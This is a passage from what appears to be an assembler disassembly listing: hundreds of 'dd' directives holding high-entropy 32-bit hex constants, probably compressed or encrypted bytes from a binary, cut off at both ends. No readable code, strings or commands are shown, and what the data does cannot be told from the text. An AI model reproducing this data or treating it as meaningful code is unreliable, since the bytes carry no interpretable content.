0D891FC00h, 0AC54C074h dd 0E050C55h, 3368DA29h, 863039CFh, 18E0BCC1h, 182D1569h dd 0E9782FECh, 0B681D560h, 3F99F80h, 3CFE934Eh, 8306B57h dd 981721CBh, 0C0E29Fh, 36764749h, 63173DFh, 95B057F0h dd 0C3EED0C8h, 0D08043ECh, 44865D0Eh, 1437695Bh, 2DF34440h dd 7A019B3h, 919680D7h, 818014A0h, 7B4EF69Fh, 18C9448Ch dd 0A79F9900h, 1F09AD87h, 86FA0257h, 0D1F0FE8Ch, 49F6D4A1h dd 92E92075h, 0F219FF00h, 383C9683h, 0F80B5601h, 8D94F502h dd 0AD31E451h, 94EA1D10h, 0F1EFC71Eh, 26E1A405h, 8BE8BC02h dd 11EC9DCEh, 67DEC040h dd 5C2490h, 54B2AD57h, 0D6F83F12h, 8884FEE9h, 9F8560F0h dd 9B4E23FAh, 1400BD11h, 0A7AA9F9Dh, 3100FB6Ah, 8623803Bh dd 90F77443h, 25300948h, 7C21C1D9h, 0D8F42057h, 6845ABD1h dd 32088C02h, 51828960h, 8CBA0C29h, 40EA291h, 220094EFh dd 57569E63h, 0E8557800h, 9FD5EAD1h, 0D60320B2h, 0EEFE2000h dd 0B1A89E2h, 98166DEh, 0C0002138h, 40CEEE05h, 0AF3076h dd 5A497C80h, 5D536F59h, 7296060h, 49560229h, 0F023A8C1h dd 0FE43E200h, 865D1ED0h, 506F4544h, 104C2EAh, 627241D9h dd 0F4F7E0ACh, 0D40FE16Ch, 20636017h, 0B4F6D886h, 0F48554A4h dd 0DB41285Fh, 0B9A520A0h, 17DF4EA0h, 524CC005h, 0D459B05Dh dd 0FF1898F8h, 89E1EE08h, 4034C412h, 0DEE06C1h, 32E000Eh dd 36BAF208h, 0C6636941h, 0C07B06D9h, 8802B5h, 598C6F8Fh dd 583D6148h, 52E98100h, 0DC83EDCh, 0B5511D29h, 724243Ah dd 0DC7DA44Dh, 90D042C0h, 8C2CE850h, 48683028h, 0D7886700h dd 1B4EE796h, 0C19A381Eh, 628077B9h, 0CC4F52A2h, 78C75F75h dd 0D7D197ECh, 0B8344925h, 0D3D024E1h, 0E0DB4730h, 4655A15Dh dd 1367CA3Ah, 74002CD5h, 2DDC533Fh, 0C013674Ch, 0D9DDE30Ch dd 0FD305BD8h, 36006890h, 2E6F419Bh, 16863FC9h, 7F5E10h dd 538F0DB8h, 516077A4h, 24855540h, 0AD58C03Bh, 0DB695E12h dd 8B7EFE01h, 0F2DA7696h, 0A1582426h, 0EED0FC09h, 105A2431h dd 140F06Dh, 60B32415h, 0BCDDDCD1h, 6CBE9DD1h, 23B4DFD4h dd 0EE01019Ah, 19E286EBh, 8FF20FAh, 9219E6EEh, 8D4883EFh dd 248B96D4h, 83E0502Bh, 0CC689FD6h, 0F6B6A93Ah, 6E7E9D00h dd 81B5E049h, 0FEA40374h, 0E6A399A8h, 4D1E2801h, 0C1CB4619h dd 5B8B1087h, 0E2500C7Ch, 4389C906h, 10A6A0h, 83CFDB82h dd 0B79FBBA9h, 81C10C03h, 0F07C0869h, 730A5A3h, 59865672h dd 136AD07Fh, 5E556F1Ch, 0AEB2D08Ch, 85FB8D1Fh, 89DB80F8h dd 8BA1C8BCh, 1D110016h, 0A89F8613h, 3175EFB1h, 4D1F3B1Ch dd 5416080h, 7E4EAB3h, 417C523h, 978B805Bh, 0A00EA961h dd 4090F00Dh, 0B0854130h, 7834004Eh, 67934CA1h, 2E00BAD5h dd 9EF86563h, 0E868F53Bh, 0C56C002Ah, 0E526572Fh, 0D401322Bh dd 0C9789566h, 0FC20F685h, 0C909F475h, 5980CF18h, 0BF5691EBh dd 8610D863h, 638F97EDh, 351409Dh, 0E15D9E28h, 60009F01h dd 0F6C1240Dh, 9AA54Dh, 25D2E2E9h, 2B8E66A9h, 0EC82160Eh dd 7731E092h, 74686C50h, 0C228C830h, 0CE6D940h, 9B77F4h dd 0D2C09E58h, 9356873Eh, 0D64DA80Dh, 1C0CD1F2h, 19FC60F8h dd 0D5CC58ACh, 8BF5CB06h, 0EB98DC56h, 1518BF08h, 25C05318h dd 21706813h, 8A44545Ch, 89DF0297h, 0D69A7659h, 0FB5FFD80h dd 2960AFA8h, 0A76A9E20h, 2ADD05E8h, 13B3E56Fh, 1F590090h dd 0FF46DAEFh, 0FBB1F467h, 18C0D085h, 0D1F832h, 0DF8F4EB5h dd 52625B2Bh, 61FF51C6h, 0BB70731h, 0C0BFD78Eh, 9FB1D559h dd 6BE018C0h, 3D44F06h, 9CEA5250h, 79000CE5h, 0C2DFE9D2h dd 71228D7Dh, 9AA0A0AAh, 0DDCF88D1h, 98F62C28h, 0F9F56400h dd 0DF00430h, 96E9014h, 0D05C55FBh, 5168A780h, 0BB61D34Eh dd 5E72EE79h, 275F2452h, 0FC2970F3h, 7021367h, 94693377h dd 4C6483F8h, 0E24EC8FEh, 564B0CB4h, 840824E5h, 40A621CFh dd 0F5D70A6Ah, 76BE01B9h, 0B410D1AEh, 0E86C0392h, 0BA23B2h dd 25971C0Eh, 5DD1EAECh, 1247C35Ch, 5800C882h, 0A94FB56Ch dd 0F389287Eh, 3A6800E4h, 0D25BDC4Ch, 6B506410h, 11006C88h dd 50CDB424h, 301EDBA5h, 9F306EEDh, 0DD064E1Ah, 0C9745BEBh dd 382A0520h, 3D878E94h, 60D4C320h, 30809EB2h, 0C8C16BB4h dd 0DE00177Ch, 68333B11h, 0E936EAE9h, 2600A822h, 89A81795h dd 0BB01EE7Ah, 0AD8F5E4Bh, 0DD46A4C4h, 1F874650h, 1144177Fh dd 68373C93h, 17982980h, 7D576123h, 95B50137h, 2B8FFDE8h dd 27342455h, 0EFE5E118h, 4D386B8h, 3C7593C8h, 0A098875Bh dd 29E46F5Ch, 1CE05649h, 0ABDBAA57h, 8C3EC060h, 0CFC23A28h dd 2B644806h, 3D630893h, 0D084E821h, 5121823h, 8F210C13h dd 0D8AC04D2h, 0ED60596Eh, 18DB11D2h, 0C3280481h, 324174CFh dd 99E52342h, 2C07F0D0h, 28E85700h, 0B0630DA7h, 0E06B6E31h dd 40E61182h, 359FE00Eh, 54B36A6Ch, 0EA805Ah, 439D8447h dd 22789755h, 0F1A5602h, 63926283h, 4187E484h, 89A7A8BCh dd 8E5D3A2h, 7BC083C8h, 7111DD17h, 96618633h, 17942521h dd 3E8F20h, 5EE557D1h, 9F75E85Ah, 34082891h, 0FDD700CFh dd 0C0D58557h, 42278F18h, 0E3A70B1h, 8618E943h, 0BA5C9660h dd 0D672596Ah, 13689EE9h, 0E042E84Ah, 0FDD58400h, 365B7FBCh dd 8289E9E1h, 6B3DD707h, 0B5C65AA6h, 698F1A19h, 0F8045905h dd 87FC8173h, 8FB40168h, 30892980h, 0DCDDF74h, 96228C00h dd 0EF4D71B3h, 63430086h, 0A1D83E87h, 0C454B0BFh, 650C7CC4h dd 0C956A757h, 0ABDF000Ah, 0C539DD7Dh, 0A13AD7AAh, 210B33C4h dd 3ABC895h, 333000A0h, 900CD18Ah, 8E30C8C9h, 75128998h dd 40631D26h, 0D68AC007h, 6AD99C7Dh, 2A4FF01h, 614DD410h dd 704FA840h, 2498289Dh, 575C008Ch, 5DE46965h, 318899E2h dd 0B8F0AB4Ch, 87DB8Bh, 190FF483h, 7488BF9Dh, 0C208CC48h dd 6C986902h, 11C27970h, 8854E282h, 5AFA80A0h, 0AA70DC6Ah dd 8FD21E00h, 864C6FDBh, 28F64813h, 998CB38h, 25D3B0F3h dd 15298F7Bh, 5811A0B9h, 76ABC480h, 0CEBA1DDh, 6A038B43h dd 0F3FB0BABh, 14CDBE5h, 866F2BF8h, 0D754A91Dh, 0F1503EE3h dd 3C244314h, 671E0CDDh, 0A2DF6905h, 0B475C083h, 258F491Dh dd 193F1C90h, 494C7E20h, 0F2C834C2h, 0FC2068A8h, 38AA4895h dd 39F02C4h, 0B649CBF9h, 0A16CA020h, 902CF8A4h, 5D5F4478h dd 0AFD07706h, 5010BA78h, 58ABDCE8h, 952330A8h, 4F42C31Fh dd 194AFCE2h, 5BAB1098h, 8650056Ah, 823EF662h, 16610EFCh dd 0D73C3066h, 284D048Ch, 62D4D0BFh, 83912040h, 0B4001228h dd 39E890C9h, 22FE225h, 0BDE1079Fh, 0B8803F8Ch, 0E49B1727h dd 70570926h, 285E00F6h, 0CA69ECF6h, 161EBEB2h, 0E01507D2h dd 908522A8h, 7D18ED48h, 118B1708h, 4197C423h, 94177627h dd 12A44DC4h, 47F40DE2h, 34AF1E90h, 0F700C2BBh, 0B82F0225h dd 730F9923h, 4032E0CAh, 2CF21A7Bh, 0C40CEEh, 96E8DF18h dd 7490DB53h, 0F865A829h, 0D4262300h, 0F0A40FFDh, 0E12467E1h dd 6564D2F9h, 67202844h, 0D1F46026h, 70AF2886h, 38449F32h dd 0F10CA0F0h, 3ED00C5Ah, 145C6EC5h, 592B8D18h, 0B8A85B31h dd 0E83CE13Fh, 2B5897h, 9DB6DE53h, 5A14C9h, 4F7429Ah, 715EF3D7h dd 4079C891h, 7E583018h, 7159304Ah, 0C696DBF5h, 0B1696491h dd 0E5BBF10Ch, 9AE841h, 5CD07F13h, 59776948h, 38985Dh dd 9B56087Eh, 70CC0D66h, 44D7CA4h, 855548A2h, 4B1F8163h dd 0EDE8402Ah, 3100791Dh, 0D86727AAh, 54D606h, 0B7619364h dd 0F244740Dh, 0EEDB40C1h, 589FE1CEh, 82D640F3h, 0DDB3B565h dd 0A4CC3550h, 48DBFC26h, 0C3805B11h, 0D9DD81ABh, 694C448Ch dd 96ABDB00h, 258BBBAEh, 1384061Ah, 0D06AE5D4h, 93B2A016h dd 0A6868848h, 954674B0h, 0CC562D00h, 875381A5h, 9B46D49Ah dd 8D9DC13Ch, 831163E2h, 3AA5A52Ch, 822D9700h, 718558B2h dd 21017073h, 628774A0h, 11EC681Eh, 0F6CD33BCh, 41CEA2C0h dd 12776F1Dh dd 73EE0701h, 20848349h, 80868C6Ah, 5C11E74Bh, 184CB030h dd 98A9F077h, 1DC460Ch, 0CFC02882h, 540C489Ch, 0F49ADE88h dd 1738003Dh, 0DDD27476h, 0F0C13A1Ah, 37B09DEBh, 6312D82Ch dd 3E649C62h, 13878F03h, 0E53D6A9h, 0C9E6DFB9h, 0DE80093h dd 5275C3BCh, 582DA51Dh, 4CD77689h, 0EE4241A8h, 2C23209Ch dd 65720449h, 0DE189856h, 0DD7CAB04h, 0F32C531h, 0ABD69020h dd 0F5820179h, 8D44262Eh, 0BEF45066h, 723E91CBh, 791A7D31h dd 0C078A51Dh, 0A9EF1B60h, 4818D6A8h, 0CFFE281Dh, 0E470B4E6h dd 7FEF480h, 21DA68Ah, 5978017Ah, 208BF5D1h, 2FF01B0h dd 9164957Ch, 964E9E4Ch, 711740A9h, 0C047869h, 513EEEDCh dd 290020B8h, 4A80EA1Ah, 28E52786h, 26E05DF3h, 28C4E5Eh dd 3DAD5D3h, 7213F080h, 118046A0h, 50C4EAD0h, 0EC2A4886h dd 2DBD3CDFh, 0ACC750Dh, 9D880E28h, 0B1813FA3h, 0D49FF345h dd 2040D6EDh, 2E35EEDFh, 0D002B8E6h, 5886162Dh, 5F131E20h dd 43EAC1FFh, 604BD2B6h, 7CEED148h, 0EFC6AB00h, 0A665D7CEh dd 3F7FECh, 7FBB25B3h, 38AA695Eh, 682FE003h, 0B02206B4h dd 3A10EE90h, 511FFC61h, 0E91F7CE1h, 0E4E603E3h, 103A8E54h dd 209718A8h, 0F2D6D31h, 0E716CB72h, 0B0967160h, 0CC00D534h dd 3DB2D478h, 10EA9Ch, 0F1D7FC55h, 414360D6h, 488E1104h dd 0E3C0B149h, 2989D5EAh, 0E0141393h, 62ED9BE3h, 0EF07C91Ah dd 0B53A4098h, 617300AAh, 1F9971CFh, 670165F7h, 0A4F4E0B6h dd 0E0CF92E7h, 6056296Fh, 69ADC077h, 0D000D889h, 4DBB5F5Bh dd 863A3Ch, 751FF461h, 70C2BA66h, 0E501E21Dh, 63F95618h dd 0FAB800ECh, 881A82E0h, 5F0EBF16h, 0FFB2C4Fh, 6F78E08Fh dd 18F4FD2Bh, 60A84012h, 0FC00D061h, 80E37079h, 83C70Ah dd 0FB68A0C8h, 0EC62D57Ch, 0B5780B18h, 0BB43E1h, 9289A882h dd 0EC3AFB19h, 999EFD00h, 0A3F760C0h, 18156008h, 4277A8CCh dd 0E0D8131Fh, 0FAA70B04h, 0D1ACF620h, 18523B89h, 513F19E6h dd 42A04A0Ch, 232F3318h, 4B5372Fh, 9DBF2118h, 0C190EF7h dd 0FB0814h, 0E51D7C27h, 632B36EEh, 9A183B60h, 0C964569h dd 0AA0BA523h, 34189E99h, 5E39C12Ch, 62F20515h, 0C34E9A3Ch dd 92C00E18h, 74331C31h, 1E2A70EAh, 0AE4AA51h, 1E085183h dd 29A008E3h, 89607283h, 0AE9EC3DBh, 0D6331860h, 0CF6AC90Fh dd 0D2F3F602h, 0A08E72E0h, 147D8FACh, 49BC0060h, 0DFE2C5A8h dd 563B1D1Fh, 89821819h, 7A48AC29h, 45093F35h, 0DD42970Ch dd 21C0BA08h, 1335C9CBh, 1B323B86h, 2F955782h, 9C87BBF3h dd 1CDAE029h, 96158DE3h, 0FB41F07h, 0F8A60D5Bh, 0C0161518h dd 11FAFBC8h, 0B9C31DD4h, 0D0601039h, 0E36DE97h, 37B69E8Bh dd 0BDA8868Ah, 0F85FEB80h, 586C0C73h, 80F73Bh, 9F230705h dd 54A33DEDh, 0C83AD41Ch, 41C0EBD8h, 46090C35h, 0FBA022DDh dd 0BEC34700h, 20AABF0Eh, 0CCB09876h, 0C9276030h, 6D06091Ah dd 18F75A1Eh, 8BD6833Ah, 0F0E11CA2h, 0C0A1D5D1h, 0F4CC0828h dd 91C02002h, 1A5EE25Ah, 3D40032Ah, 3EC8A1F7h, 808F35A1h dd 59FADB20h, 7DE56294h, 0C8E0006h, 0AD9668Bh, 1F003396h dd 3BBD18F4h, 6015078Fh, 7B9A804Bh, 0D703E2DCh, 6A225777h dd 0FF93F8B9h, 9705586Fh, 0A4F80800h, 0C66C44BBh, 585CFD3Ah dd 0B141E04h, 0FA351C0h, 0FECEF7h, 2A50A474h, 9AF22B37h dd 807C353Bh, 83366D60h, 18497B09h, 8730126h, 20C03438h dd 0D3679C1h, 5C7B038Bh, 64B37EECh, 33580E0h, 7C085167h dd 0AA958DD0h, 0B9CD03E5h, 24A94998h, 16804000h, 182575B6h dd 7668E027h, 794600BFh, 0F4A1ECB0h, 233A9ECDh, 7FE21E9Bh dd 3AFF3443h, 48EFB0EAh, 13B80009h, 9236C84Dh, 58306D29h dd 7F5C8171h, 0F7AB705Bh, 0E5F341DAh, 2B1EA1E3h, 172F208Fh dd 1A373B00h, 0A11FF07Fh, 7D41FC90h, 8FD97E12h, 7552488Ch dd 0EF00FE51h, 0E7C60183h, 6F70F876h, 51786486h, 0CB034A7Ch dd 627E6FBBh, 0A92E1878h, 1E72E93Eh, 49C55E0Fh, 9D9F605Ah dd 0ECD4AEA4h, 9CC939CDh, 0D295483h, 800659FCh, 0DF6247B2h dd 0B4D00C60h, 30187B98h, 615E9F18h, 19806D60h, 81251D65h dd 29F7EC8Ah, 9CBBD306h, 3009A8F0h, 0EA207FFAh, 0E800F76Fh dd 55FE3084h, 0B4C7C8h, 0D10E67F8h, 0D4AD2975h, 0A468C560h dd 744BED38h, 43670098h, 21111D70h, 0E10042A6h, 0DC1C92BDh dd 26249349h, 0EDA7C6h, 5E33ED56h, 0A507689Bh, 0CF65F21Fh dd 7D2E6C80h, 0BA20F93Eh, 8B7200A1h, 77BF1EAFh, 0CA009D5Ch dd 33E8AA3Bh, 0AEBE11h, 6ECB92DEh, 0FCC674CEh, 5137D31Dh dd 3BA379C7h, 0CA348420h, 128200D1h, 9B0388C9h, 4400B9A0h dd 9896E4Fh, 1BC5F53h, 2BF2C063h, 0E6A8E2F8h, 0FDD8049Fh dd 0E4C4284Dh, 37C21068h, 718000DEh, 0C1F7F015h, 0EC7A0093h dd 0BB46F66Bh, 0C200D31Eh, 0E0626832h, 0C813DF17h, 0A0412729h dd 0D6021DB5h, 28212D43h, 840B10EDh, 0AA48A0C0h, 24111B42h dd 0DDA7215Fh, 79DE6E13h, 201B5022h, 5EEE27E3h, 9A1C2800h dd 0CEC2DAF4h, 21250E5Fh, 0BEC0489Bh, 0A6F6D31Ah, 0F930BF00h dd 0BDC73ACDh, 5FA1001Eh, 0F833BEC5h, 0DA00EC0Dh, 343F684Ah dd 783244A2h, 0F537034Ch, 0B862178Ah, 5E6E2FE8h, 2E66CC00h dd 0FBEEB17Ah, 301D00E9h, 2479ECC7h, 0B0064F7h, 0C4A6107Fh dd 0FB03762h, 0A758267Ah, 0C0116924h, 7D2C8888h, 0F805BF00h dd 0DEB40654h, 0D04C0383h, 3B03B875h, 8CF960F0h, 97B95B03h dd 0EAFCD28Bh, 78D8807Ah, 129C869Dh, 53D301h, 8FD23354h dd 4AB82244h, 8D461B00h, 0D4ED749Ch, 582B07DDh, 1070811Dh dd 3B301C9Ah, 0F1298800h, 429B6FCDh, 1069494Ch, 2C0A2000h dd 25396B3Eh, 8500D9EAh, 8D992BADh, 631ED1Ch, 0B4945EACh dd 370021C0h, 84E9F152h, 0D595C1h, 9E694BBFh, 2788A6F2h dd 0CB00FFE8h, 0B843D4C6h, 71FE9C51h, 0FBB4002Fh, 26B51285h dd 0E4009EF0h, 1BD92706h, 552171h, 0C173E309h, 1012A99Dh dd 1F0B651Eh, 6D111440h, 5782C8h, 63F512Eh, 0E46E3E8Eh dd 2DC4DA00h, 70BBAB3Dh, 0A2900C3h, 0AAD43FB3h, 7C052C69h dd 0D50BE303h, 0E0064E83h, 0EAB74784h, 26CB0778h, 0D07DD18Fh dd 3DE9909Eh, 0A040FE00h, 0B6EC7516h, 803114A6h, 0C0009457h dd 438E6197h, 99382E0Fh, 72BD85h, 66E212D7h, 647EB1h, 701B2489h dd 0E16331F8h, 4E562500h, 2B62DD4Fh, 4C580015h, 76718648h dd 1E3DFA61h, 559100CEh, 0F083275Ah, 0EC1401D7h, 0A560A239h dd 0BDF2F480h, 0AF0D4300h, 0E4B39097h, 0E27B0EA7h, 0EBC20709h dd 40413D2Ch, 95F24217h, 33E0F88Fh, 9BA55B50h, 0F7ED10C0h dd 857574h, 0B93B040Bh, 3735E8AFh, 1E9FF00h, 38D79E91h dd 0DC31307Dh, 28BA25F0h, 76008BF0h, 8DAC0E5Dh, 9B32D3Eh dd 69FE728Ch, 0D77D1E82h, 0DE7B66E0h, 3F76B601h, 263957AAh dd 0D01620h, 72B27DDAh, 979C3DADh, 0AB500C00h, 956FCEE2h dd 14E711Dh, 772887E6h, 70A0B94Ah, 713026A4h, 93E3D84Fh dd 1820008Bh, 78C0C9DEh, 0CEFA6A5Ch, 6500AF7Ch, 2E3D6427h dd 3B837C29h, 561C13ADh, 189DA83Fh, 0F2C25CEFh, 8709A0DDh dd 5E2A1A3h, 74803A7Ch, 0F5286BAh, 0A60731F5h, 2665EBA0h dd 0B31E3DF9h, 890068DFh, 0EA4E6CE3h, 3E10F8BAh, 813AEEECh dd 1E3C498Eh, 5469C03Eh, 25F7D2D6h, 0B51B381Ch, 4C6E9540h dd 0F62762BAh dd 7436009Ch, 0AC470116h, 0B500388Fh, 0BFCD3770h, 2407C5E0h dd 0C4096Dh, 0DA8189FCh, 1D09355Dh, 80EE4685h, 7D2A123Ah dd 89F526A8h, 0DD99007Eh, 1FED6983h, 8B9B1001h, 0F47F67DAh dd 79B5E420h, 0BE310106h, 320E2D23h, 0AE65DC37h, 550A08B0h dd 84E0B2D3h, 0B3ADE400h, 0DF7298h, 7F04208Ah, 7C4BAFE9h dd 24D91424h, 0BBC3B630h, 64BF0C2Fh, 7F0B067h, 8A1E9307h dd 32A0AE6Fh, 0B64FE5h, 0ED960A0Ch, 28372522h, 0E4CCC2A0h dd 7FB87603h, 0B7D29A08h, 72BFDF20h, 0F0540040h, 8052F7B5h dd 0B4184C02h, 4118CA8Dh, 59822E97h, 6A1E0063h, 652ADC7Dh dd 9CC8DD39h, 980345A9h, 98D92EA3h, 0C0CB6EA2h, 88F9DD38h dd 87EF4426h, 60677190h, 0C7CDE620h, 0B1100CBh, 0C39F27D0h dd 63CD8EEh, 21B6027Eh, 0D7AB0F78h, 93971701h, 0E3F883F6h dd 0E858BDEBh, 2F565DCh, 5DE8541Bh, 12400DA3h, 1A006073h dd 7CCA93DDh, 3484024h, 0CF90D561h, 0DF900186h, 3C261B98h dd 0A42030E1h, 0AAB05Ch, 0F54293F2h, 1DE76AA0h, 21E9D0h dd 0B03BD538h, 191D2F5Ah, 0B48077A1h, 0C69AE8B7h, 48BE1251h dd 25D7008Eh, 0F196DC34h, 420084E0h, 0F3527483h, 1C0C73Ch dd 49636924h, 0C89D91AAh, 0D503C12Fh, 611433E0h, 80140056h dd 0DBFE3BB1h, 7D00CDDAh, 0EF7EF962h, 50B22E7h, 8157CAB6h dd 30B0C01Bh, 0EE0509A7h, 2277B9CDh, 990E4C80h, 0D6170EA3h dd 52606711h, 0B70D198Eh, 926B1801h, 31BB45Bh, 8A08D0h dd 0E8935E65h, 99638841h, 9447CA00h, 79B63FE9h, 58530B8Ch dd 0C40148DEh, 13F39BE6h, 95BA9097h, 12287AFAh, 0D88878h dd 2FEC4B64h, 0BBB024EAh, 574D9700h, 6627E554h, 1F23003Bh dd 1C0C0BFAh, 3A1EA37Eh, 8540599Dh, 412FD858h, 0D77C3h dd 30D235B3h, 5587CC7Ch, 0AE923133h, 0C8809CC2h, 66D0E4h dd 0E2062346h, 30C10314h, 0E000927Ch, 578D8571h, 0FF5FFBh dd 7F1946FAh, 25481066h, 0F0891100h, 1F4DC8D4h, 1B071CC9h dd 0F54CC08Ah, 73720A0Bh, 179B4501h, 41A96985h, 0FB50420h dd 0E35FEC34h, 0B9C3EA00h, 0D61CF3A2h, 0FACF622Dh, 1E282765h dd 69FDF040h, 0D7D2031Ah, 96BA73A7h, 6AF35AB0h, 0C93D5B00h dd 40129B1Ch, 0CAFC0128h, 0AA5DA9F8h, 498DDCD5h, 0F500ECE4h dd 7CE3415Eh, 45B16Bh, 8930B5DDh, 0D20F2F50h, 4D85F007h dd 0FB05BF9Eh, 13D40C80h, 0FF1600E7h, 399DD092h, 3400E012h dd 19ABD6C0h, 0F21407h, 0CA7EA411h, 71BE8678h, 7887059h dd 8C47577Ah, 79BA840h, 0DD5916DCh, 0D48403FDh, 30C0D81Fh dd 2C2C6F0Ah, 60002035h, 7A69CFFCh, 0BA120056h, 0B053F24h dd 48BAB46Eh, 0A5226B00h, 3A3915A4h, 8AF60045h, 0C9FC5811h dd 63C31EFh, 0F41BB0Ah, 0E0D82E3Fh, 2AB7DAD1h, 0BD254CAAh dd 7F1DEC0Fh, 1E1F4220h, 74F24838h, 2BD0B100h, 0E21521A4h dd 0CB3703AFh, 0BC83EADDh, 7374B8D8h, 52CFB00h, 5C13E048h dd 20D1602Ah, 7DB32718h, 1D5FF403h, 0E8449047h, 12BD9D68h dd 0D0A906h, 0E826B60h, 5034546h, 7571F691h, 1948B80Dh dd 0BE020095h, 0BC6E9E87h, 0D959929Bh, 0F8250158h, 0E3618E38h dd 32565300h, 0AD5CB304h, 6080507Ah, 0B3222A68h, 0DB003D28h dd 60CA85BDh, 9C007FF0h, 0D777022Dh, 8EF7A3h, 0FEF23754h dd 93D5F944h, 0FF309517h, 8DBF5820h, 594200E5h, 0AD5EED01h dd 0AC00F15Fh, 771393A0h, 39A5DFC0h, 71035251h, 0F3833D30h dd 98D23CD0h, 23103200h, 0C0C61DBBh, 159400C3h, 4A8CD6EAh dd 580134E6h, 7EFD2D50h, 12717588h, 55F8BBE9h, 651B00D6h dd 0C62AE3ABh, 0DD0FD03Eh, 80037D33h, 6BF3BEC0h, 3077004Fh dd 9939AD11h, 4130D66Ah, 85BA18C9h, 44F50327h, 0EA5DBE68h dd 0FB9977A0h, 25B2AE09h, 0BBB0483Ch, 0D98B02A0h, 3475ADCFh dd 2D183C40h, 20068EA1h, 0A4013F20h, 0F5BFB82Ch, 0CDD440AAh dd 11800229h, 3C644981h, 287B4160h, 0DA850C0h, 0A0D7B7F7h dd 514CFF4h, 6F505E9Ah, 21A983FAh, 3415C7F0h, 1C45B200h dd 4498F311h, 7F18000Bh, 90FB0A68h, 8A1C040Ch, 0DE408CD8h dd 0A89CF587h, 3DFF0025h, 91BCD1A9h, 1101FE04h, 0C8CDC58Ah dd 0DFFC9020h, 0C6140393h, 21D50DABh, 0D4E94EA8h, 0F1015C79h dd 9750F97Eh, 8AC0C2FFh, 7F720026h, 9A367C8Bh, 8700CE2Dh dd 145415D6h, 3F06E1A1h, 0EC038650h, 47AD9D8Eh, 0F0502F8h dd 3DE97A00h, 4E2FDD43h, 0AC0C001Ah, 9B22A87h, 0CE0066C9h dd 0F8F9245Fh, 4CFA68Eh, 6EE4717Dh, 800D8550h, 4BBC9737h dd 18A93601h, 0E0661C8Eh, 2C35ECh, 6409FA60h, 0A22EDFB4h dd 4C621038h, 7E3D00DDh, 836D6949h, 87380024h, 0EDFFDEC1h dd 46004397h, 5AB1329Fh, 48797A86h, 0A88E7494h, 23F67DC7h dd 4D91C4BBh, 2C4B30FCh, 0D2641003h, 90A07B3Ch, 79BC1Ch dd 2A7DCC0Eh, 8812EA9Ch, 0A4A35505h, 88C9230Ah, 1464C0h dd 0BD356995h, 9ADDEDA7h, 0D80B247Bh, 43FE15CAh, 6C98C0C9h dd 54B2008Ch, 8B95DB74h, 433C80ABh, 134F8071h, 0A564F972h dd 281E4C1h, 0C5862B03h, 2048A3A8h, 0F898B71Ch, 2D53FF00h dd 32CB2ABAh, 549273h, 4CB1756Dh, 244D7C87h, 0F4AEED51h dd 7D0389F4h, 7439D148h, 6487DC6Dh, 0A49BC3E0h, 0AF610047h dd 0BB2665CEh, 0FE731C92h, 12C5A802h, 0E0C6DECDh, 0AB1B94h dd 6AE594F2h, 0DAD3BF2Dh, 0FCFA47EEh, 8360F600h, 7A144AE8h dd 0BCAC3013h, 7B6E4820h, 4F84AB00h, 0D0BD7287h, 5E3A18CFh dd 65B7883Bh, 0AADC0B41h, 0FEF800A4h, 72D92716h, 4F0EBA9Fh dd 2E89CD0Eh, 0C33280BDh, 0E0A821h, 17B067EEh, 0A4F703A9h dd 0C537FC07h, 5F6EA2A6h, 0E6E84340h, 8FC173h, 731F9B9h dd 6CE07A0Ah, 0C3C6E100h, 32F576CAh, 0FB6D0FFFh, 0A3C7958Ch dd 0F0A03C4h, 34F3D8A0h, 8C04E44Eh, 70D0AD7Fh, 9851C55Ch dd 23351E3Ch, 9A384E61h, 8A0573A0h, 1D070FABh, 34F509C2h dd 0B8997850h, 4EF90E48h, 0AFE10B33h, 80FA7239h, 0AE515A10h dd 2A99D96h, 0D30946DEh, 0D478C662h, 3322CE0Ah, 6300EC38h dd 0EEDE48FAh, 2A1F0C6Bh, 7498E31Ch, 66920F00h, 96D5DBBDh dd 0E4B0CBF9h, 0B4809C0Fh, 8AAD0563h, 7C82AC00h, 81EE1909h dd 6CE20078h, 0C8EA14E4h, 21FA503Dh, 39D2693Eh, 0B63E8076h dd 0A15C221Ch, 0AC3058A3h, 0E83CDB01h, 0C41F5979h, 0E607BC7Fh dd 0C58B01C4h, 646CE7E0h, 0EBB400ACh, 83DF1559h, 7C1F9D9Ah dd 41C2ED0Dh, 6882EF90h, 0ADC988h, 118E5FB3h, 0CB72B4FFh dd 336E4E00h, 936F02DCh, 4F40082h, 7769E3E9h, 2200D4EDh dd 609E2091h, 0FAD2872Bh, 505E6032h, 0B63365F3h, 2834A00Fh dd 60A409EEh, 9B81604h, 332BC456h, 9C116048h, 0EB877200h dd 0C8CC9919h, 562624EFh, 3390F44h, 0A87E6FE0h, 0B801C9FDh dd 4B01E6FCh, 79D83769h, 5AC360EBh, 348387D4h, 3D32B900h dd 0F809E191h, 0A2BB0014h, 77C7235Bh, 7600B3F6h, 5CCE335Ah dd 3DD7AEAh, 6CB463CAh, 0B8E8B72Ch, 0D51C9395h, 0EE8CF73Eh dd 62D026h, 0F5F3D79Ah, 60FAB371h, 0F97C4B00h, 0B78415F6h dd 2E690072h, 0B0F577E8h, 0BC3B7E25h, 88F90BD5h, 5BC90FCh dd 541E0FFFh, 8240A124h, 0BF124C32h, 43BA9C00h, 0B893B311h dd 0BE740034h, 8150547Dh, 9C14A95Fh, 80A8C025h, 2069ED2Bh dd 8F140092h, 6C89F217h, 9CBAC2C5h, 129BC900h, 0FFC32427h dd 667A003Eh, 7D2A1820h dd 0B5C4A2Fh, 0DA120171h, 9C788583h, 0ED15DBE0h, 0F21680DFh dd 8CB80034h, 0B9A31B12h, 36002D9Eh, 67C9E526h, 800C6Dh dd 94CF44D9h, 0CEE73331h, 37D7D50Eh, 6EA02721h, 1A59B160h dd 3C4209FCh, 1040B472h, 58071694h, 0E2C41996h, 17C03B70h dd 0AAAE0FC8h, 5DA0BADFh, 0B73C63FBh, 0D4202F60h, 60F1F986h dd 3AD11A3h, 0C4001A4Fh, 0ECD30A4Bh, 1685EBA7h, 80D984D7h dd 0D6A2F804h, 1E0C885Dh, 1540DCE0h, 594E1F55h, 0C4E80085h dd 11DA9664h, 0EF0074E5h, 0D921CD39h, 30D80BCCh, 0BF110C48h dd 0AA00189Dh, 0BA67B017h, 2B5FB9h, 4E8B26ACh, 63467810h dd 0D2ECF65Fh, 8F55ED03h, 4AC0F71Ah, 0D7609139h, 450F8B49h dd 0FDEE0044h, 51D80527h, 340059CFh, 17D59C84h, 1E972F5h dd 0FE5673B9h, 0D4DF8777h, 1F194CCCh, 53A66EB7h, 0E2C18820h dd 639A02F6h, 0C35504A5h, 0D03B4061h, 1326358Fh, 470034C2h dd 862E5882h, 